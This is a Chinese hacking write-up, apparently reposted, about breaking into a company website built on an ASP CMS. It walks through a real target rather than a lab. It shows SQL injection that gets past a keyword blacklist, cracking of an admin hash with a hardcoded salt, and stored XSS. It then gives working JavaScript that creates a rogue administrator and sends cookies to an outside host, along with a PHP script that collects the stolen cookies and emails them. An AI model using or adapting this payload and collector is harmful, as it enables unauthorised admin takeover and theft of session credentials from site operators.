首先粗略的看了下网站的整体结构、
发现不是那种5分钟就能叼下的垃圾企业站。
旁站看了下都是同一个程序做的
C 段我就懒的看了，因为像这种站所在机房你能ARP到数据的几率比中国足球队进世界杯还难。
话又说回来了。去年做外贸的时候公司用的貌似就是这套程序，当时只是粗略的看了下这套程序，没看出啥严重的漏洞。
最近公司无事，找以前同事拿来这套程序源码看了下。
发现如下安全问题
New.asp 中
view sourceprint?
01 <!--#include file="top.asp"-->
02 <%
03 page=clng(request("page"))
04 Set rs=Server.CreateObject("ADODB.RecordSet")
05 sql="select * from member_news where type='"&request("type")&"' order by order0 desc"
06 rs.Open sql,conn,1,1
07 if rs.eof and rs.bof then
08 response.Write("No news!")
09 else
10 %>
其中top.asp 中又包含了inc/sql.asp 其内容为：
view sourceprint?
01 <%
02 'sql过滤
03 Dim Fy_Post,Fy_Get,Fy_In,Fy_Inf,Fy_Xh,Fy_db,Fy_dbstr
04 '自定义需要过滤的字串,用"|" 分隔
05 Fy_In = "'|;|[| and | exec | insert | select | delete | update | count |*|%| chr | mid | master | truncate | char | declare "
06 '----------------------------------
07 Fy_Inf = split(Fy_In,"|")
08 '--------POST部份------------------
09 If Request.Form<>"" Then
10 For Each Fy_Post In Request.Form
11 For Fy_Xh=0 To Ubound(Fy_Inf)
12 If Instr(LCase(Request.Form(Fy_Post)),Fy_Inf(Fy_Xh))<>0 Then
13 response.write"<script>//alert('sorry for you put which including irregular symbol:\"&Fy_Inf(Fy_Xh)&"');history.go(-1);</script>"
14 response.end
15 End If
16 Next
17 Next
18 End If
19 '--------GET部份-------------------
20 If Request.QueryString<>"" Then
21 For Each Fy_Get In Request.QueryString
22 For Fy_Xh=0 To Ubound(Fy_Inf)
23 If Instr(LCase(Request.QueryString(Fy_Get)),Fy_Inf(Fy_Xh))<>0 Then
24 response.write"<script>//alert('sorry for you put which including irregular symbol:\"&Fy_Inf(Fy_Xh)&"');history.go(-1);</script>"
25 response.end
26 End If
27 Next
28 Next
29 End If
30 %>
老兄，你怎么不把cookies放在眼里。
后台登陆部分重要代码admin/login.asp
view sourceprint?
1 md5key="pjfmd5"
2 if request("action")="login" then
3 admin_name=trim(request("admin_name"))
4 admin_pass=md5(trim(request("admin_pass"))&md5key)
所以，把注入到的密文拿到cmd5破解：
Xxooxxoo:pjfmd5
就是明文了。
于是注入一枚叼到。为了安全起见咱本地先测试下，结果是明亮的。
但是这屌丝把后台改了，用这密码测试了下FTP 邮箱等，木有结果
SO 继续挖。
半小时后，发现inc/modify.asp
如下代码
view sourceprint?
01 if request.Form("submit")<>"" then
02 set rs=server.createobject("adodb.recordset")
03 sql="select * from [user] where User_Name='"&session("user_name")&"'"
04 rs.open sql,conn,1,3
05 if rs.eof and rs.bof then
06 response.write"<SCRIPT>//alert('Sorry,this User_name not exist! Please check it');history.back(-1)</SCRIPT>"
07 response.end()
08 else
09 for i=2 to rs.fields.count-1
10 if rs.fields(i).Name="Password2" then
11 elseif rs.fields(i).Name="Country" then
12 rs(rs.fields(i).Name)=split(countrystr,",")((request.Form(rs.fields(i).Name)))
13 elseif rs.fields(i).Name="Password" and (request.Form(rs.fields(i).Name))<>rs("password") then
14 response.Write "<SCRIPT>//alert('You have Changed the password!');</SCRIPT>"
15 rs(rs.fields(i).Name)=md5((request.Form(rs.fields(i).Name))&md5key)
16 elseif rs.fields(i).Name="sex" then
17 rs(rs.fields(i).Name)=(""<>(request.Form(rs.fields(i).Name)))
18 else
19 rs(rs.fields(i).Name)=(request.Form(rs.fields(i).Name))
20 end if'save information
21 next
22 rs.update
23 rs.close
24 end if
25 response.Write "<SCRIPT>//alert('Modify success!');location='log.asp'</SCRIPT>"
26 response.End()
27 end if%>
相关没做任何处理直接入库了。也就是说我们可以在表单中插入我们的JS。
好的继续看下后台取数数据部分
/admin/member/6pjf.asp 中
view sourceprint?
1 elseif request("ac")="<SPAN style="FONT-FAMILY: 宋体">会员管理</SPAN><SPAN style="FONT-FAMILY: 'Times New Roman'">" then</SPAN>
2 .............
3 call rstotable(tcol_tname,where_order,"user",20,temptitle,"6pjfadd.asp","id","yes")
其中函数rstotable
未做任何过滤就取出数据。
测试之
呵呵，笑死
根据相关条件，写了个JS利用。
添加管理员
记录cookies 发送到我的Q。坐等结果
其中JS代码为：
view sourceprint?
01 document.write('Alabama');
02 var xmlHttp;
03 if(window.ActiveXObject){
04 xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
05 }
06 else if(window.XMLHttpRequest)
07 {
08 xmlHttp = new XMLHttpRequest();
09 }
10
11 function validateForm() {
12 str = window.location.pathname;
13 var strs= new Array();
14 strs=str.split("/");
15 x = strs[1];
16 var url = "/"+ x +"/member/6pjfadd.asp?ac=%ba%f3%cc%a8%d5%ca%ba%c5%c9%e8%d6%c3";
17 var params = "admin_name=yezi&admin_pass=fuckyou&admin_alow=%C0%CF%B0%E5&addtime=2012-5-31+4%3A55%3A59&submit=%CC%ED%BC%D3%BC%C7%C2%BC&refer="+ document.referrer;
18 xmlHttp.open("POST", url, true);
19 xmlHttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
20 xmlHttp.setRequestHeader("Content-length", params.length);
21 xmlHttp.setRequestHeader("Connection", "close");
22 xmlHttp.onreadystatechange = function() {
23 if(xmlHttp.readyState == 4 && xmlHttp.status == 200) {
24 //alert(xmlHttp.responseText);
25 }
26 }
27 xmlHttp.send(params);
28 } www.2cto.com
29 validateForm();
30 (function(){
31 var a=document.createElement('script');
32 a.setAttribute('type', 'text/javascript');
33 a.setAttribute('src', 'http://yezi.us/xss.php?cookie='+document.cookie);
34 document.getElementsByTagName('head').item(0).appendChild(a);
35
36 })()
XSS.php 代码为：
view sourceprint?
01 <?php
02 date_default_timezone_set('Asia/Shanghai');
03 $a=@$_GET['cookie'];
04 $ref=$_SERVER['HTTP_REFERER'];
05 $data=$a."---cookie"."\r\n".$ref."---referer"."\r\n";
06 $to='5078****@qq.com';
07 $subject = 'You have something From : '.$ref;
08 $body="\n-------URL= ".$ref."\n-------Time = " .date("Y-m-d H:i:s")."\n-------Data = ".$data."\n----------------------------------------------";
09 $headers= 'MIME-Version: 1.0' . "\r\n";
10 $headers.= 'Content-type: text/html; charset=utf-8' . "\r\n";
11 $headers.="Here Come Some Password";
12 if(!empty($a)){
13 $sendmail = @mail($to, $subject, $body, $headers);
14 if(!$sendmail){
15 @$file = fopen('xsstest.txt' , 'a+');
16 @$write = fwrite($file,$a.$ref.$data."\r\n");
17 @fclose($file);
18 }
19 }else{
20 echo "Hey , man ,What r u doing ? ";
21 }
22 ?>
摘自 yezi.us
